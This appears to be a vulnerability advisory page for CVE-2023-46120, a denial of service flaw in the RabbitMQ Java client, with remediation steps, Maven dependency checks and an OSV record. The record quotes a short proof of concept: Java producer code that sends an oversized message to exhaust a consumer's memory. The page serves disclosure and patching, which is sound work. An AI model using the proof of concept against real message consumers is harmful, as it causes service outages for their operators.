CVE-2023-46120: Amqp client Denial of Service Vulnerability
MODERATECVE-2023-46120 is a MODERATE (CVSS 4.9) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Amqp client libraries in the Maven ecosystem. The issue involves rabbitmq java client's lack of message size limitation leads to remote dos attack. Remediation is available by upgrading affected packages to version 5.18.0.
CVE-2023-46120 at a Glance
Security Impact
CVSS: 4.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2023-46120
To remediate this vulnerability, upgrade all affected Amqp client dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>com.rabbitmq</groupId>
<artifactId>amqp-client</artifactId>
<version>5.18.0</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=com.rabbitmq
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2023-46120, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=com.rabbitmq
Analyze the terminal output to locate any version of Amqp client in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.18.0), your application is affected.
Note: The mvn dependency:tree -Dincludes=com.rabbitmq command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Amqp client, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2023-46120 Affected Amqp client Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
com.rabbitmq:amqp-client
|
Maven |
< 5.18.0
|
5.18.0
|
References
Frequently Asked Questions
What is CVE-2023-46120?
Which Amqp client versions are affected?
What version fixes CVE-2023-46120?
Is amqp-client affected?
What is the CVSS score of CVE-2023-46120?
What CWE is associated with CVE-2023-46120?
How can I check Maven dependencies for CVE-2023-46120?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mm8h-8587-p46h",
"modified" : "2023-10-27T20:47:02Z",
"published" : "2023-10-24T01:49:09Z",
"aliases" : [ "CVE-2023-46120" ],
"summary" : "RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack",
"details" : "### Summary\n`maxBodyLebgth` was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.\n\n### PoC\n#### RbbitMQ\n* Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)\n* Start RabbitMQ\n#### Producer\n* Build a String of length 256M and send it to Consumer\n```\n\npackage org.springframework.amqp.helloworld; \n\nimport org.springframework.amqp.core.AmqpTemplate; \nimport org.springframework.context.ApplicationContext; \nimport org.springframework.context.annotation.AnnotationConfigApplicationContext; \n\npublic class Producer {\n public static void main(String[] args) {\n ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);\n AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); \n String s = \"A\";\n for(int i=0;i<28;++i){\n s = s + s;\n System.out.println(i);\n }\n amqpTemplate.convertAndSend(s);\n System.out.println(\"Send Finish\");\n }\n }\n```\n\n#### Consumer\n* First set the heap memory size to 128M\n* Read the message sent by the Producer from the MQ and print the length\n```\npackage org.springframework.amqp.helloworld;\n\nimport org.springframework.amqp.core.AmqpTemplate;\nimport org.springframework.amqp.core.Message;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.annotation.AnnotationConfigApplicationContext;\n\npublic class Consumer {\n \n public static void main(String[] args) {\n ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);\n AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);\n Object o = amqpTemplate.receiveAndConvert();\n if(o != null){\n String s = o.toString();\n System.out.println(\"Received Length : \" + s.length());\n }else{\n System.out.println(\"null\");\n }\n }\n}\n```\n#### Results\n* Run the Producer first, then the Consumer\n* Consumer throws OOM Exception\n\n\n### Impact\nUsers of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "com.rabbitmq:amqp-client"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "5.18.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-mm8h-8587-p46h"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-46120"
}, {
"type" : "WEB",
"url" : "https://github.com/rabbitmq/rabbitmq-java-client/issues/1062"
}, {
"type" : "WEB",
"url" : "https://github.com/rabbitmq/rabbitmq-java-client/commit/714aae602dcae6cb4b53cadf009323ebac313cc8"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/rabbitmq/rabbitmq-java-client"
}, {
"type" : "WEB",
"url" : "https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.18.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2023-10-24T01:49:09Z",
"nvd_published_at" : "2023-10-25T18:17:36Z"
}
}